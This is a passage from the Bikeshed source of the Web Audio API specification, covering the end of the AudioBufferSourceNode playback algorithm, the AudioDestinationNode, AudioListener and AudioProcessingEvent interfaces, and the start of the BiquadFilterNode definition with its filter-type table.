{\n\t\t\toutput.push(playbackSignal(bufferTime));\n\t\t} else {\n\t\t\toutput.push(0); // past end of buffer, so output silent frame\n\t\t}\n\n\t\tbufferTime += dt * computedPlaybackRate;\n\t\tbufferTimeElapsed += dt * computedPlaybackRate;\n\t\tcurrentTime += dt;\n\t} // End of render quantum loop\n\n\tif (currentTime >= stop) {\n\t\t// End playback state of this node.  No further invocations of process()\n\t\t// will occur.  Schedule a change to set the number of output channels to 1.\n\t}\n\n\treturn output;\n}\n</xmp>\n\nThe following non-normative figures illustrate the behavior of the\nalgorithm in assorted key scenarios. Dynamic resampling of the\nbuffer is not considered, but as long as the times of loop\npositions are not changed this does not materially affect the\nresulting playback. In all figures, the following conventions\napply:\n\n* context sample rate is 1000 Hz\n\n* {{AudioBuffer}} content is shown with the first sample frame\n\tat the <em>x</em> origin.\n\n* output signals are shown with the sample frame located at time\n\t<code>start</code> at the <em>x</em> origin.\n\n* linear interpolation is depicted throughout, although a UA\n\tcould employ other interpolation techniques.\n\n* the <code>duration</code> values noted in the figures refer to the <code>buffer</code>, not arguments to {{AudioBufferSourceNode/start()}}\n\nThis figure illustrates basic playback of a buffer, with a simple\nloop that ends after the last sample frame in the buffer:\n\n<figure>\n\t<img alt=\"AudioBufferSourceNode basic playback\" src=\"images/absn-basic.png\" width=\"556\" height=\"485\">\n\t<figcaption>\n\t\t{{AudioBufferSourceNode}} basic playback\n\t</figcaption>\n</figure>\n\nThis figure illustrates <code>playbackRate</code> interpolation,\nshowing half-speed playback of buffer contents in which every other\noutput sample frame is interpolated. Of particular note is the last\nsample frame in the looped output, which is interpolated using the\nloop start point:\n\n<figure>\n\t<img alt=\"AudioBufferSourceNode playbackRate interpolation\" src=\"images/absn-slow-loop.png\" width=\"543\" height=\"472\">\n\t<figcaption>\n\t\t{{AudioBufferSourceNode}} playbackRate interpolation\n\t</figcaption>\n</figure>\n\nThis figure illustrates sample rate interpolation, showing playback\nof a buffer whose sample rate is 50% of the context sample rate,\nresulting in a computed playback rate of 0.5 that corrects for the\ndifference in sample rate between the buffer and the context. The\nresulting output is the same as the preceding example, but for\ndifferent reasons.\n\n<figure>\n\t<img alt=\"AudioBufferSourceNode sample rate interpolation\" src=\"images/absn-half-sample-rate.png\" width=\"543\" height=\"459\">\n\t<figcaption>\n\t\t{{AudioBufferSourceNode}} sample rate interpolation.\n\t</figcaption>\n</figure>\n\nThis figure illustrates subsample offset playback, in which the\noffset within the buffer begins at exactly half a sample frame.\nConsequently, every output frame is interpolated:\n\n<figure>\n\t<img alt=\"AudioBufferSourceNode subsample offset playback\" src=\"images/absn-offset.png\" width=\"543\" height=\"448\">\n\t<figcaption>\n\t\t{{AudioBufferSourceNode}} subsample offset playback\n\t</figcaption>\n</figure>\n\nThis figure illustrates subsample loop playback, showing how\nfractional frame offsets in the loop endpoints map to interpolated\ndata points in the buffer that respect these offsets as if they\nwere references to exact sample frames:\n\n<figure>\n\t<img alt=\"AudioBufferSourceNode subsample loop playback\" src=\"images/absn-subsample-loop.png\" width=\"543\" height=\"480\">\n\t<figcaption>\n\t\t{{AudioBufferSourceNode}} subsample loop playback\n\t</figcaption>\n</figure>\n\n\n<!--\n████████  ████████  ██████  ████████ ████ ██    ██    ███    ████████ ████  ███████  ██    ██\n██     ██ ██       ██    ██    ██     ██  ███   ██   ██ ██      ██     ██  ██     ██ ███   ██\n██     ██ ██       ██          ██     ██  ████  ██  ██   ██     ██     ██  ██     ██ ████  ██\n██     ██ ██████    ██████     ██     ██  ██ ██ ██ ██     ██    ██     ██  ██     ██ ██ ██ ██\n██     ██ ██             ██    ██     ██  ██  ████ █████████    ██     ██  ██     ██ ██  ████\n██     ██ ██       ██    ██    ██     ██  ██   ███ ██     ██    ██     ██  ██     ██ ██   ███\n████████  ████████  ██████     ██    ████ ██    ██ ██     ██    ██    ████  ███████  ██    ██\n-->\n\n<h3 interface lt=\"audiodestinationnode\" id=\"AudioDestinationNode\">\nThe {{AudioDestinationNode}} Interface</h3>\n\nThis is an {{AudioNode}} representing the final audio\ndestination and is what the user will ultimately hear. It can often\nbe considered as an audio output device which is connected to\nspeakers. All rendered audio to be heard will be routed to this node,\na \"terminal\" node in the {{AudioContext}}'s routing\ngraph. There is only a single AudioDestinationNode per\n{{AudioContext}}, provided through the\n<code>destination</code> attribute of\n{{AudioContext}}.\n\nThe output of a {{AudioDestinationNode}} is produced\nby <a href=\"#channel-up-mixing-and-down-mixing\">summing its input</a>, allowing to\ncapture the output of an {{AudioContext}} into, for\nexample, a {{MediaStreamAudioDestinationNode}}, or a\n<code>MediaRecorder</code> (described in [[mediastream-recording]]).\n\nThe {{AudioDestinationNode}} can be either the destination of an\n{{AudioContext}} or {{OfflineAudioContext}}, and the channel\nproperties depend on what the context is.\n\nFor an {{AudioContext}}, the defaults are\n\n<pre class=include>\npath: audionode.include\nmacros:\n\tnoi: 1\n\tnoo: 1\n\tcc: 2\n\tcc-mode: explicit\n\tcc-interp: speakers\n\ttail-time: No\n</pre>\n\nThe {{AudioNode/channelCount}} can be set to any\nvalue less than or equal to {{AudioDestinationNode/maxChannelCount}}. <span class=\"synchronous\">An {{IndexSizeError}} exception MUST be thrown\nif this value is not within the valid range.</span> Giving a concrete\nexample, if the audio hardware supports 8-channel output, then we may\nset {{AudioNode/channelCount}} to 8, and render 8\nchannels of output.\n\nFor an {{OfflineAudioContext}}, the defaults are\n\n<pre class=include>\npath: audionode.include\nmacros:\n\tnoi: 1\n\tnoo: 1\n\tcc: numberOfChannels\n\tcc-mode: explicit\n\tcc-interp: speakers\n\ttail-time: No\n</pre>\n\nwhere <code>numberOfChannels</code> is the number of channels\nspecified when constructing the {{OfflineAudioContext}}. This\nvalue may not be changed; <span class=\"synchronous\">a\n{{NotSupportedError}} exception MUST be thrown if\n{{AudioNode/channelCount}} is changed to a\ndifferent value</span>.\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface AudioDestinationNode : AudioNode {\n\treadonly attribute unsigned long maxChannelCount;\n};\n</pre>\n\n<h4 id=\"AudioDestinationNode-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"AudioDestinationNode\">\n\t: <dfn>maxChannelCount</dfn>\n\t::\n\t\tThe maximum number of channels that the {{AudioNode/channelCount}} attribute can be set\n\t\tto. An {{AudioDestinationNode}} representing the\n\t\taudio hardware end-point (the normal case) can potentially output\n\t\tmore than 2 channels of audio if the audio hardware is\n\t\tmulti-channel. {{AudioDestinationNode/maxChannelCount}} is the maximum number\n\t\tof channels that this hardware is capable of supporting.\n</dl>\n\n\n<!--\n██       ████  ██████  ████████ ████████ ██    ██ ████████ ████████\n██        ██  ██    ██    ██    ██       ███   ██ ██       ██     ██\n██        ██  ██          ██    ██       ████  ██ ██       ██     ██\n██        ██   ██████     ██    ██████   ██ ██ ██ ██████   ████████\n██        ██        ██    ██    ██       ██  ████ ██       ██   ██\n██        ██  ██    ██    ██    ██       ██   ███ ██       ██    ██\n████████ ████  ██████     ██    ████████ ██    ██ ████████ ██     ██\n-->\n\n<h3 interface lt=\"audiolistener\" id=\"AudioListener\">\nThe {{AudioListener}} Interface</h3>\n\nThis interface represents the position and orientation of the person\nlistening to the audio scene. All {{PannerNode}}\nobjects spatialize in relation to the\n{{BaseAudioContext}}'s {{BaseAudioContext/listener}}. See [[#Spatialization]]\nfor more details about spatialization.\n\nThe {{AudioListener/positionX}}, {{AudioListener/positionY}}, and {{AudioListener/positionZ}} parameters represent\nthe location of the listener in 3D Cartesian coordinate space.\n{{PannerNode}} objects use this position relative to\nindividual audio sources for spatialization.\n\nThe {{AudioListener/forwardX}}, {{AudioListener/forwardY}}, and {{AudioListener/forwardZ}} parameters represent a\ndirection vector in 3D space. Both a <code>forward</code> vector and\nan <code>up</code> vector are used to determine the orientation of\nthe listener. In simple human terms, the <code>forward</code> vector\nrepresents which direction the person's nose is pointing. The\n<code>up</code> vector represents the direction the top of a person's\nhead is pointing. These two vectors are expected to be linearly\nindependent. For normative requirements of how these values are to be\ninterpreted, see the [[#Spatialization]] section.\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface AudioListener {\n\treadonly attribute AudioParam positionX;\n\treadonly attribute AudioParam positionY;\n\treadonly attribute AudioParam positionZ;\n\treadonly attribute AudioParam forwardX;\n\treadonly attribute AudioParam forwardY;\n\treadonly attribute AudioParam forwardZ;\n\treadonly attribute AudioParam upX;\n\treadonly attribute AudioParam upY;\n\treadonly attribute AudioParam upZ;\n\tundefined setPosition (float x, float y, float z);\n\tundefined setOrientation (float x, float y, float z, float xUp, float yUp, float zUp);\n};\n</pre>\n\n<h4 id=\"AudioListener-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"AudioListener\">\n\t: <dfn>forwardX</dfn>\n\t::\n\t\tSets the x coordinate component of the forward direction the\n\t\tlistener is pointing in 3D Cartesian coordinate space.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 0\n\t\t\tmin: <a>most-negative-single-float</a>\n\t\t\tmin-notes: Approximately -3.4028235e38\n\t\t\tmax: <a>most-positive-single-float</a>\n\t\t\tmax-notes: Approximately 3.4028235e38\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t</pre>\n\n\t: <dfn>forwardY</dfn>\n\t::\n\t\tSets the y coordinate component of the forward direction the\n\t\tlistener is pointing in 3D Cartesian coordinate space.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 0\n\t\t\tmin: <a>most-negative-single-float</a>\n\t\t\tmin-notes: Approximately -3.4028235e38\n\t\t\tmax: <a>most-positive-single-float</a>\n\t\t\tmax-notes: Approximately 3.4028235e38\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t</pre>\n\n\t: <dfn>forwardZ</dfn>\n\t::\n\t\tSets the z coordinate component of the forward direction the\n\t\tlistener is pointing in 3D Cartesian coordinate space.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: -1\n\t\t\tmin: <a>most-negative-single-float</a>\n\t\t\tmin-notes: Approximately -3.4028235e38\n\t\t\tmax: <a>most-positive-single-float</a>\n\t\t\tmax-notes: Approximately 3.4028235e38\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t</pre>\n\n\t: <dfn>positionX</dfn>\n\t::\n\t\tSets the x coordinate position of the audio listener in a 3D\n\t\tCartesian coordinate space.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 0\n\t\t\tmin: <a>most-negative-single-float</a>\n\t\t\tmin-notes: Approximately -3.4028235e38\n\t\t\tmax: <a>most-positive-single-float</a>\n\t\t\tmax-notes: Approximately 3.4028235e38\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t</pre>\n\n\t: <dfn>positionY</dfn>\n\t::\n\t\tSets the y coordinate position of the audio listener in a 3D\n\t\tCartesian coordinate space.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 0\n\t\t\tmin: <a>most-negative-single-float</a>\n\t\t\tmin-notes: Approximately -3.4028235e38\n\t\t\tmax: <a>most-positive-single-float</a>\n\t\t\tmax-notes: Approximately 3.4028235e38\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t</pre>\n\n\t: <dfn>positionZ</dfn>\n\t::\n\t\tSets the z coordinate position of the audio listener in a 3D\n\t\tCartesian coordinate space.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 0\n\t\t\tmin: <a>most-negative-single-float</a>\n\t\t\tmin-notes: Approximately -3.4028235e38\n\t\t\tmax: <a>most-positive-single-float</a>\n\t\t\tmax-notes: Approximately 3.4028235e38\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t</pre>\n\n\t: <dfn>upX</dfn>\n\t::\n\t\tSets the x coordinate component of the up direction the\n\t\tlistener is pointing in 3D Cartesian coordinate space.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 0\n\t\t\tmin: <a>most-negative-single-float</a>\n\t\t\tmin-notes: Approximately -3.4028235e38\n\t\t\tmax: <a>most-positive-single-float</a>\n\t\t\tmax-notes: Approximately 3.4028235e38\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t</pre>\n\n\t: <dfn>upY</dfn>\n\t::\n\t\tSets the y coordinate component of the up direction the\n\t\tlistener is pointing in 3D Cartesian coordinate space.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 1\n\t\t\tmin: <a>most-negative-single-float</a>\n\t\t\tmin-notes: Approximately -3.4028235e38\n\t\t\tmax: <a>most-positive-single-float</a>\n\t\t\tmax-notes: Approximately 3.4028235e38\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t</pre>\n\n\t: <dfn>upZ</dfn>\n\t::\n\t\tSets the z coordinate component of the up direction the\n\t\tlistener is pointing in 3D Cartesian coordinate space.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 0\n\t\t\tmin: <a>most-negative-single-float</a>\n\t\t\tmin-notes: Approximately -3.4028235e38\n\t\t\tmax: <a>most-positive-single-float</a>\n\t\t\tmax-notes: Approximately 3.4028235e38\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t</pre>\n</dl>\n\n<h4 id=\"AudioListener-methods\">\nMethods</h4>\n\n<dl dfn-type=method dfn-for=\"AudioListener\">\n\t: <dfn>setOrientation(x, y, z, xUp, yUp, zUp)</dfn>\n\t::\n\t\tThis method is DEPRECATED. It is equivalent to setting\n\t\t{{forwardX}}.{{AudioParam/value}},\n\t\t{{forwardY}}.{{AudioParam/value}},\n\t\t{{forwardZ}}.{{AudioParam/value}},\n\t\t{{upX}}.{{AudioParam/value}},\n\t\t{{upY}}.{{AudioParam/value}}, and\n\t\t{{upZ}}.{{AudioParam/value}} directly\n\t\twith the given <code>x</code>, <code>y</code>, <code>z</code>,\n\t\t<code>xUp</code>, <code>yUp</code>, and <code>zUp</code>\n\t\tvalues, respectively.\n\n\t\t<span class=\"synchronous\">Consequently, if any of the {{forwardX}}, {{forwardY}},\n\t\t{{forwardZ}}, {{upX}}, {{upY}} and {{upZ}}\n\t\t{{AudioParam}}s have an automation curve set using\n\t\t{{AudioParam/setValueCurveAtTime()}} at the time\n\t\tthis method is called, a {{NotSupportedError}} MUST be\n\t\tthrown.</span>\n\n\t\t{{AudioListener/setOrientation()}} describes which direction the listener is pointing in the 3D\n\t\tcartesian coordinate space. Both a [=forward=] vector and an\n\t\t[=up=] vector are provided. In simple human terms, the\n\t\t<dfn dfn>forward</dfn> vector represents which direction the person's\n\t\tnose is pointing. The <dfn dfn>up</dfn> vector represents the direction\n\t\tthe top of a person's head is pointing. These two vectors are\n\t\texpected to be linearly independent. For normative requirements\n\t\tof how these values are to be interpreted, see the [[#Spatialization]].\n\n\t\tThe {{AudioListener/setOrientation()/x!!argument}}, {{AudioListener/setOrientation()/y!!argument}}, and {{AudioListener/setOrientation()/z!!argument}} parameters represent a <a>forward</a>\n\t\tdirection vector in 3D space, with the default value being\n\t\t(0,0,-1).\n\n\t\tThe {{AudioListener/setOrientation()/xUp!!argument}}, {{AudioListener/setOrientation()/yUp!!argument}}, and {{AudioListener/setOrientation()/zUp!!argument}} parameters represent an\n\t\t<a>up</a> direction vector in 3D space, with the default value\n\t\tbeing (0,1,0).\n\n\t\t<pre class=argumentdef for=\"AudioListener/setOrientation()\">\n\t\t\tx: forward <em>x</em> direction fo the {{AudioListener}}\n\t\t\ty: forward <em>y</em> direction fo the {{AudioListener}}\n\t\t\tz: forward <em>z</em> direction fo the {{AudioListener}}\n\t\t\txUp: up <em>x</em> direction fo the {{AudioListener}}\n\t\t\tyUp: up <em>y</em> direction fo the {{AudioListener}}\n\t\t\tzUp: up <em>z</em> direction fo the {{AudioListener}}\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n\n\t: <dfn>setPosition(x, y, z)</dfn>\n\t::\n\t\tThis method is DEPRECATED. It is equivalent to setting\n\t\t{{AudioListener/positionX}}.{{AudioParam/value}},\n\t\t{{AudioListener/positionY}}.{{AudioParam/value}}, and\n\t\t{{AudioListener/positionZ}}.{{AudioParam/value}}\n\t\tdirectly with the given <code>x</code>, <code>y</code>, and\n\t\t<code>z</code> values, respectively.\n\n\t\t<span class=\"synchronous\">Consequently, any of the {{AudioListener/positionX}}, {{AudioListener/positionY}},\n\t\tand {{AudioListener/positionZ}} {{AudioParam}}s for this\n\t\t{{AudioListener}} have an automation curve set using\n\t\t{{AudioParam/setValueCurveAtTime()}} at the time\n\t\tthis method is called, a {{NotSupportedError}} MUST be\n\t\tthrown.</span>\n\n\t\t{{AudioListener/setPosition()}} sets the position of the listener in a 3D cartesian coordinate\n\t\tspace. {{PannerNode}} objects use this position\n\t\trelative to individual audio sources for spatialization.\n\n\t\tThe {{AudioListener/setPosition()/x!!argument}}, {{AudioListener/setPosition()/y!!argument}}, and {{AudioListener/setPosition()/z!!argument}} parameters represent the coordinates\n\t\tin 3D space.\n\n\t\tThe default value is (0,0,0).\n\n\t\t<pre class=argumentdef for=\"AudioListener/setPosition()\">\n\t\t\tx: <em>x</em>-coordinate of the position of the {{AudioListener}}\n\t\t\ty: <em>y</em>-coordinate of the position of the {{AudioListener}}\n\t\t\tz: <em>z</em>-coordinate of the position of the {{AudioListener}}\n\t\t</pre>\n</dl>\n\n<h4 id=\"listenerprocessing\">\nProcessing</h4>\n\nBecause {{AudioListener}}'s parameters can be connected with {{AudioNode}}s and\nthey can also affect the output of {{PannerNode}}s in the same graph, the node\nordering algorithm should take the {{AudioListener}} into consideration when\ncomputing the order of processing. For this reason, all the {{PannerNode}}s in\nthe graph have the {{AudioListener}} as input.\n\n<!--\n████████  ████████   ███████   ██████  ████████  ██████   ██████  ████ ██    ██  ██████\n██     ██ ██     ██ ██     ██ ██    ██ ██       ██    ██ ██    ██  ██  ███   ██ ██    ██\n██     ██ ██     ██ ██     ██ ██       ██       ██       ██        ██  ████  ██ ██\n████████  ████████  ██     ██ ██       ██████    ██████   ██████   ██  ██ ██ ██ ██   ████\n██        ██   ██   ██     ██ ██       ██             ██       ██  ██  ██  ████ ██    ██\n██        ██    ██  ██     ██ ██    ██ ██       ██    ██ ██    ██  ██  ██   ███ ██    ██\n██        ██     ██  ███████   ██████  ████████  ██████   ██████  ████ ██    ██  ██████\n-->\n\n<h3 interface lt=\"audioprocessingevent\" id=\"AudioProcessingEvent\">\nThe {{AudioProcessingEvent}} Interface - DEPRECATED</h3>\n\nThis is an {{Event}} object which is dispatched to\n{{ScriptProcessorNode}} nodes. It will be removed\nwhen the ScriptProcessorNode is removed, as the replacement\n{{AudioWorkletNode}} uses a different approach.\n\nThe event handler processes audio from the input (if any) by\naccessing the audio data from the <code>inputBuffer</code> attribute.\nThe audio data which is the result of the processing (or the\nsynthesized data if there are no inputs) is then placed into the\n{{AudioProcessingEvent/outputBuffer}}.\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface AudioProcessingEvent : Event {\n\tconstructor (DOMString type, AudioProcessingEventInit eventInitDict);\n\treadonly attribute double playbackTime;\n\treadonly attribute AudioBuffer inputBuffer;\n\treadonly attribute AudioBuffer outputBuffer;\n};\n</pre>\n\n<h4 id=\"AudioProcessingEvent-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"AudioProcessingEvent\">\n\t: <dfn>inputBuffer</dfn>\n\t::\n\t\tAn AudioBuffer containing the input audio data. It will have a\n\t\tnumber of channels equal to the\n\t\t<code>numberOfInputChannels</code> parameter of the\n\t\tcreateScriptProcessor() method. This AudioBuffer is only valid\n\t\twhile in the scope of the {{ScriptProcessorNode/onaudioprocess}} function.\n\t\tIts values will be meaningless outside of this scope.\n\n\t: <dfn>outputBuffer</dfn>\n\t::\n\t\tAn AudioBuffer where the output audio data MUST be written. It\n\t\twill have a number of channels equal to the\n\t\t<code>numberOfOutputChannels</code> parameter of the\n\t\tcreateScriptProcessor() method. Script code within the scope of\n\t\tthe {{ScriptProcessorNode/onaudioprocess}} function is\n\t\texpected to modify the {{Float32Array}} arrays\n\t\trepresenting channel data in this AudioBuffer. Any script\n\t\tmodifications to this AudioBuffer outside of this scope will not\n\t\tproduce any audible effects.\n\n\t: <dfn>playbackTime</dfn>\n\t::\n\t\tThe time when the audio will be played in the same time\n\t\tcoordinate system as the {{AudioContext}}'s\n\t\t{{BaseAudioContext/currentTime}}.\n</dl>\n\n<h4 dictionary lt=\"audioprocessingeventinit\" id=\"AudioProcessingEventInit\">\n{{AudioProcessingEventInit}}</h4>\n\n<pre class=\"idl\">\ndictionary AudioProcessingEventInit : EventInit {\n\trequired double playbackTime;\n\trequired AudioBuffer inputBuffer;\n\trequired AudioBuffer outputBuffer;\n};\n</pre>\n\n<h5 id=\"dictionary-audioprocessingeventinit-members\">\nDictionary {{AudioProcessingEventInit}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"AudioProcessingEventInit\">\n\t: <dfn>inputBuffer</dfn>\n\t::\n\t\tValue to be assigned to the {{AudioProcessingEvent/inputBuffer}} attribute\n\t\tof the event.\n\n\t: <dfn>outputBuffer</dfn>\n\t::\n\t\tValue to be assigned to the {{AudioProcessingEvent/outputBuffer}} attribute\n\t\tof the event.\n\n\t: <dfn>playbackTime</dfn>\n\t::\n\t\tValue to be assigned to the {{AudioProcessingEvent/playbackTime}} attribute\n\t\tof the event.\n</dl>\n\n<h3 interface lt=\"biquadfilternode\" id=\"BiquadFilterNode\">\nThe {{BiquadFilterNode}} Interface</h3>\n\n{{BiquadFilterNode}} is an\n{{AudioNode}} processor implementing very common\nlow-order filters.\n\nLow-order filters are the building blocks of basic tone controls\n(bass, mid, treble), graphic equalizers, and more advanced filters.\nMultiple {{BiquadFilterNode}} filters can be combined\nto form more complex filters. The filter parameters such as\n{{BiquadFilterNode/frequency}} can be\nchanged over time for filter sweeps, etc. Each\n{{BiquadFilterNode}} can be configured as one of a\nnumber of common filter types as shown in the IDL below. The default\nfilter type is <code>\"lowpass\"</code>.\n\nBoth {{BiquadFilterNode/frequency}}\nand {{BiquadFilterNode/detune}} form\na <a>compound parameter</a> and are both <a>a-rate</a>. They are used\ntogether to determine a <dfn>computedFrequency</dfn> value:\n\n<pre highlight>\n\tcomputedFrequency(t) = frequency(t) * pow(2, detune(t) / 1200)\n</pre>\n\nThe <a>nominal range</a> for this <a>compound parameter</a> is [0,\n<a>Nyquist frequency</a>].\n\n\n<pre class=include>\npath: audionode.include\nmacros:\n\tnoi: 1\n\tnoo: 1\n\tcc: 2\n\tcc-mode: max\n\tcc-interp: speakers\n\ttail-time: Yes\n\ttail-time-notes:  Continues to output non-silent audio with zero input. Since this is an IIR filter, the filter produces non-zero input forever, but in practice, this can be limited after some finite time where the output is sufficiently close to zero. The actual time depends on the filter coefficients.\n</pre>\n\nThe number of channels of the output always equals the number of\nchannels of the input.\n\n<pre class=\"idl\">\nenum BiquadFilterType {\n\t\"lowpass\",\n\t\"highpass\",\n\t\"bandpass\",\n\t\"lowshelf\",\n\t\"highshelf\",\n\t\"peaking\",\n\t\"notch\",\n\t\"allpass\"\n};\n</pre>\n\n<div class=\"enum-description\">\n<table class=\"simple\" dfn-type=enum-value dfn-for=\"BiquadFilterType\">\n\t<thead>\n\t<tr>\n\t\t<th scope=\"col\" colspan=\"2\">\n\t\t\tEnumeration description\n\t<tbody>\n\t<tr>\n\t\t<td>\"<dfn>lowpass</dfn>\"\n\t\t<td>\n\t\t\tA <a href=\"https://en.wikipedia.org/wiki/Low-pass_filter\">lowpass\n\t\t\tfilter</a> allows frequencies below the cutoff frequency to\n\t\t\tpass through and attenuates frequencies above the cutoff. It\n\t\t\timplements a standard second-order resonant lowpass filter with\n\t\t\t12dB/octave rolloff.\n\n\t\t\t: frequency\n\t\t\t:: The cutoff frequency\n\t\t\t: <a href=\"https://en.wikipedia.org/wiki/Q_factor\">Q</a>\n\t\t\t:: Controls how peaked the response will be at the cutoff\n\t\t\t\tfrequency. A large value makes the response more peaked.\n\t\t\t: gain\n\t\t\t:: Not used in this filter type\n\t<tr>\n\t\t<td>\"<dfn>highpass</dfn>\"\n\t\t<td>\n\t\t\tA <a href=\"https://en.wikipedia.org/wiki/High-pass_filter\">highpass\n\t\t\tfilter</a> is the opposite of a lowpass filter. Frequencies\n\t\t\tabove the cutoff frequency are passed through, but frequencies\n\t\t\tbelow the cutoff are attenuated. It implements a standard\n\t\t\tsecond-order resonant highpass filter with 12dB/octave rolloff.\n\n\t\t\t: frequency\n\t\t\t:: The cutoff frequency below which the frequencies are\n\t\t\t\tattenuated\n\t\t\t: <a href=\"https://en.wikipedia.org/wiki/Q_factor\">Q</a>\n\t\t\t:: Controls how peaked the response will be at the cutoff\n\t\t\t\tfrequency. A large value makes the response more peaked.\n\t\t\t: gain\n\t\t\t:: Not used in this filter type\n\t<tr>\n\t\t<td>\"<dfn>bandpass</dfn>\"\n\t\t<td>\n\t\t\tA <a href=\"https://en.wikipedia.org/wiki/Band-pass_filter\">bandpass\n\t\t\tfilter</a> allows a range of frequencies to pass through and\n\t\t\tattenuates the frequencies below and above this frequency\n\t\t\trange. It implements a second-order bandpass filter.\n\n\t\t\t: frequency\n\t\t\t:: The center of the frequency band\n\t\t\t: <a href=\"https://en.wikipedia.org/wiki/Q_factor\">Q</a>\n\t\t\t:: Controls the width of the band. The width becomes narrower\n\t\t\t\tas the Q value increases.\n\t\t\t: gain\n\t\t\t:: Not used in this filter type\n\t<tr>\n\t\t<td>\"<dfn>lowshelf</dfn>\"\n\t\t<td>\n\t\t\tThe lowshelf filter allows all frequencies through, but adds a\n\t\t\tboost (or attenuation) to the lower frequencies. It implements\n\t\t\ta second-order lowshelf filter.\n\n\t\t\t: frequency\n\t\t\t:: The upper limit of the frequences where the boost (or\n\t\t\t\tattenuation) is applied.\n\t\t\t: <a href=\"https://en.wikipedia.org/wiki/Q_factor\">Q</a>\n\t\t\t:: Not used in this filter type.\n\t\t\t: gain\n\t\t\t:: The boost, in dB, to be applied. If the value is negative,\n\t\t\t\tthe frequencies are attenuated.\n\t<tr>\n\t\t<td>\"<dfn>highshelf</dfn>\"\n\t\t<td>\n\t\t\tThe highshelf filter is the opposite of the lowshelf filter and\n\t\t\tallows all frequencies through, but adds a boost to the higher\n\t\t\tfrequencies. It implements a second-order highshelf filter\n\n\t\t\t: frequency\n\t\t\t:: The lower limit of the frequences where the boost (or\n\t\t\t\tattenuation) is applied.\n\t\t\t: <a href=\"https://en.wikipedia.org/wiki/Q_factor\">Q</a>\n\t\t\t:: Not used in this filter type.\n\t\t\t: gain\n\t\t\t:: The boost, in dB, to be applied. If the value is negative,\n\t\t\t\tthe frequencies are attenuated.\n\t<tr>\n\t\t<td>\"<dfn>peaking</dfn>\"\n\t\t<td>\n\t\t\tThe peaking filter allows all frequencies through, but adds a\n\t\t\tboost (or attenuation) to a range of frequencies.\n\n\t\t\t: frequency\n\t\t\t:: The center frequency of where the boost is applied.\n\t\t\t: <a href=\"https://en.wikipedia.org/wiki/Q_factor\">Q</a>\n\t\t\t:: Controls the width of the band of frequencies that are\n\t\t\t\tboosted. A large value implies a narrow width.\n\t\t\t: gain\n\t\t\t:: The boost, in dB, to be applied. If the value is negative,\n\t\t\t\tthe frequencies are attenuated.\n\t<tr>\n\t\t<td>\"<dfn>notch</dfn>\"\n\t\t<td>\n\t\t\tThe notch filter (also known as a <a href=\"https://en.wikipedia.org/wiki/Band-stop_filter\">band-stop or\n\t\t\tband-rejection filter</a>) is the opposite of a bandpass\n\t\t\tfilter. It allows all frequencies through, except for a set of\n\t\t\tfrequencies.\n\n\t\t\t: frequency\n\t\t\t:: The center frequency of where the notch is applied.\n\t\t\t: <a href=\"https://en.wikipedia.org/wiki/Q_factor\">Q</a>\n\t\t\t:: Controls the width of the band of frequencies that are\n\t\t\t\tattenuated. A large value implies a narrow width.\n\t\t\t: gain\n\t\t\t:: Not used in this filter type.\n\t<tr>\n\t\t<td>\"<dfn>allpass</dfn>\"\n\t\t<td>\n\t\t\tAn <a href=\"https://en.wikipedia.org/wiki/All-pass_filter#Digital_Implementation\">\n\t\t\tallpass filter</a> allows all frequencies through, but changes\n\t\t\tthe phase relationship between the various frequencies. It\n\t\t\timplements a second-order allpass filter\n\n\t\t\t: frequency\n\t\t\t:: The frequency where the center of the phase transition\n\t\t\t\toccurs. Viewed another way, this is the frequency with\n\t\t\t\tmaximal <a href=\"https://en.wikipedia.org/wiki/Group_delay\">group\n\t\t\t\tdelay</a>.\n\t\t\t: <a href=\"https://en.wikipedia.org/wiki/Q_factor\">Q</a>\n\t\t\t:: Controls how sharp the phase transition is at the center\n\t\t\t\tfrequency. A larger value implies a sharper transition and\n\t\t\t\ta larger group delay.\n\t\t\t: gain\n\t\t\t:: Not used in this filter type.\n</table>\n</div>\n\nAll attributes of the {{BiquadFilterNode}} are <a>a-rate</a> {{AudioParam}}s.\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface BiquadFilterNode : AudioNode {\n\tconstructor (BaseAudioContext context, optional BiquadFilterOptions options = {});\n\tattribute BiquadFilterType type;\n\treadonly attribute AudioParam frequency;\n\treadonly attribute AudioParam detune;\n\treadonly attribute AudioParam Q;\n\treadonly attribute AudioParam gain;\n\tundefined getFrequencyResponse (Float32Array frequencyHz,\n\t                                Float32Array magResponse,\n\t                                Float32Array phaseResponse);\n};\n</pre>\n\n<h4 